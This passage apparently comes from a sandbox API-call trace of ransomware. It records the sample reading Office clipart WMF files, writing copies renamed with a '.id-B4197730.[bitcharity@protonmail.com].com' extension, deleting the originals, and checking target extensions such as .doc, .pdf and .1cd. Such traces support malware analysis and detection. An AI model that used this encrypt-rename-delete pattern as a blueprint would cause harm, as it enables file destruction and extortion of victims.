lpOverlapped=0x0) returned 1 [0300.231] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.231] SetEndOfFile (hFile=0x1088) returned 1 [0300.232] CloseHandle (hObject=0x1088) returned 1 [0300.232] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.232] SetEndOfFile (hFile=0x10d0) returned 1 [0300.233] CloseHandle (hObject=0x10d0) returned 1 [0300.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0300.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0300.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.246] lstrlenW (lpString=".doc") returned 4 [0300.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.246] lstrlenW (lpString=".docx") returned 5 [0300.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.246] lstrlenW (lpString=".pdf") returned 4 [0300.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.246] lstrlenW (lpString=".xls") returned 4 [0300.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.246] lstrlenW (lpString=".xlsx") returned 5 [0300.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.246] lstrlenW (lpString=".ppt") returned 4 [0300.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.246] lstrlenW (lpString=".zip") returned 4 [0300.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.246] lstrlenW (lpString=".rar") returned 4 [0300.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.246] lstrlenW (lpString=".bz2") returned 4 [0300.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.246] lstrlenW (lpString=".7z") returned 3 [0300.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.246] lstrlenW (lpString=".dbf") returned 4 [0300.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.246] lstrlenW (lpString=".1cd") returned 4 [0300.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.246] lstrlenW (lpString=".jpg") returned 4 [0300.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.246] lstrlenW (lpString=".doc") returned 4 [0300.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.246] lstrlenW (lpString=".docx") returned 5 [0300.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.246] lstrlenW (lpString=".pdf") returned 4 [0300.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.247] lstrlenW (lpString=".xls") returned 4 [0300.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.247] lstrlenW (lpString=".xlsx") returned 5 [0300.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.247] lstrlenW (lpString=".ppt") returned 4 [0300.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.247] lstrlenW (lpString=".zip") returned 4 [0300.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.247] lstrlenW (lpString=".rar") returned 4 [0300.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.247] lstrlenW (lpString=".bz2") returned 4 [0300.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.247] lstrlenW (lpString=".7z") returned 3 [0300.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.247] lstrlenW (lpString=".dbf") returned 4 [0300.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.247] lstrlenW (lpString=".1cd") returned 4 [0300.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0300.247] lstrlenW (lpString=".jpg") returned 4 [0300.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.247] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0300.247] lstrlenW (lpString="HH01013_.WMF") returned 12 [0300.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0300.248] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2848) returned 1 [0300.248] CloseHandle (hObject=0x10bc) returned 1 [0300.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0300.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0300.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0300.248] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.248] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0300.249] GetLastError () returned 0x0 [0300.249] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xb20, lpOverlapped=0x0) returned 1 [0300.912] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xb30, lpOverlapped=0x0) returned 1 [0301.197] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.197] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.197] SetEndOfFile (hFile=0x10dc) returned 1 [0301.197] CloseHandle (hObject=0x10dc) returned 1 [0301.197] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.197] SetEndOfFile (hFile=0x10bc) returned 1 [0301.198] CloseHandle (hObject=0x10bc) returned 1 [0301.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0301.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.198] lstrlenW (lpString=".doc") returned 4 [0301.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.198] lstrlenW (lpString=".docx") returned 5 [0301.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.199] lstrlenW (lpString=".pdf") returned 4 [0301.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.199] lstrlenW (lpString=".xls") returned 4 [0301.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.199] lstrlenW (lpString=".xlsx") returned 5 [0301.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.199] lstrlenW (lpString=".ppt") returned 4 [0301.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.199] lstrlenW (lpString=".zip") returned 4 [0301.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.199] lstrlenW (lpString=".rar") returned 4 [0301.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.199] lstrlenW (lpString=".bz2") returned 4 [0301.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.199] lstrlenW (lpString=".7z") returned 3 [0301.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.199] lstrlenW (lpString=".dbf") returned 4 [0301.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.199] lstrlenW (lpString=".1cd") returned 4 [0301.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.199] lstrlenW (lpString=".jpg") returned 4 [0301.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.199] lstrlenW (lpString=".doc") returned 4 [0301.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.199] lstrlenW (lpString=".docx") returned 5 [0301.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.199] lstrlenW (lpString=".pdf") returned 4 [0301.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.200] lstrlenW (lpString=".xls") returned 4 [0301.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.200] lstrlenW (lpString=".xlsx") returned 5 [0301.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.200] lstrlenW (lpString=".ppt") returned 4 [0301.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.200] lstrlenW (lpString=".zip") returned 4 [0301.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.200] lstrlenW (lpString=".rar") returned 4 [0301.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.200] lstrlenW (lpString=".bz2") returned 4 [0301.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.200] lstrlenW (lpString=".7z") returned 3 [0301.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.200] lstrlenW (lpString=".dbf") returned 4 [0301.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.200] lstrlenW (lpString=".1cd") returned 4 [0301.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0301.200] lstrlenW (lpString=".jpg") returned 4 [0301.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.200] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.200] lstrlenW (lpString="HH01291_.WMF") returned 12 [0301.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0301.201] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=15806) returned 1 [0301.201] CloseHandle (hObject=0x10bc) returned 1 [0301.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0301.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0301.201] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.201] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0301.202] GetLastError () returned 0x0 [0301.202] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0301.317] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0301.318] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.318] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.318] SetEndOfFile (hFile=0x10dc) returned 1 [0301.318] CloseHandle (hObject=0x10dc) returned 1 [0301.318] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.318] SetEndOfFile (hFile=0x10bc) returned 1 [0301.319] CloseHandle (hObject=0x10bc) returned 1 [0301.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0301.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.320] lstrlenW (lpString=".doc") returned 4 [0301.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.320] lstrlenW (lpString=".docx") returned 5 [0301.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.320] lstrlenW (lpString=".pdf") returned 4 [0301.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.320] lstrlenW (lpString=".xls") returned 4 [0301.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.320] lstrlenW (lpString=".xlsx") returned 5 [0301.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.320] lstrlenW (lpString=".ppt") returned 4 [0301.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.320] lstrlenW (lpString=".zip") returned 4 [0301.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.320] lstrlenW (lpString=".rar") returned 4 [0301.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.320] lstrlenW (lpString=".bz2") returned 4 [0301.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.320] lstrlenW (lpString=".7z") returned 3 [0301.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.320] lstrlenW (lpString=".dbf") returned 4 [0301.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.320] lstrlenW (lpString=".1cd") returned 4 [0301.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.320] lstrlenW (lpString=".jpg") returned 4 [0301.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.321] lstrlenW (lpString=".doc") returned 4 [0301.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString=".docx") returned 5 [0301.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.321] lstrlenW (lpString=".pdf") returned 4 [0301.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString=".xls") returned 4 [0301.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.321] lstrlenW (lpString=".xlsx") returned 5 [0301.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.321] lstrlenW (lpString=".ppt") returned 4 [0301.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.321] lstrlenW (lpString=".zip") returned 4 [0301.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.321] lstrlenW (lpString=".rar") returned 4 [0301.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString=".bz2") returned 4 [0301.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString=".7z") returned 3 [0301.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.321] lstrlenW (lpString=".dbf") returned 4 [0301.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.321] lstrlenW (lpString=".1cd") returned 4 [0301.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0301.321] lstrlenW (lpString=".jpg") returned 4 [0301.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.321] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.322] lstrlenW (lpString="HH01618_.WMF") returned 12 [0301.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0301.322] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=7296) returned 1 [0301.322] CloseHandle (hObject=0x10bc) returned 1 [0301.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0301.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0301.322] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.322] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0301.323] GetLastError () returned 0x0 [0301.323] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x1c80, lpOverlapped=0x0) returned 1 [0301.472] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x1c90, lpOverlapped=0x0) returned 1 [0301.473] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.473] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.473] SetEndOfFile 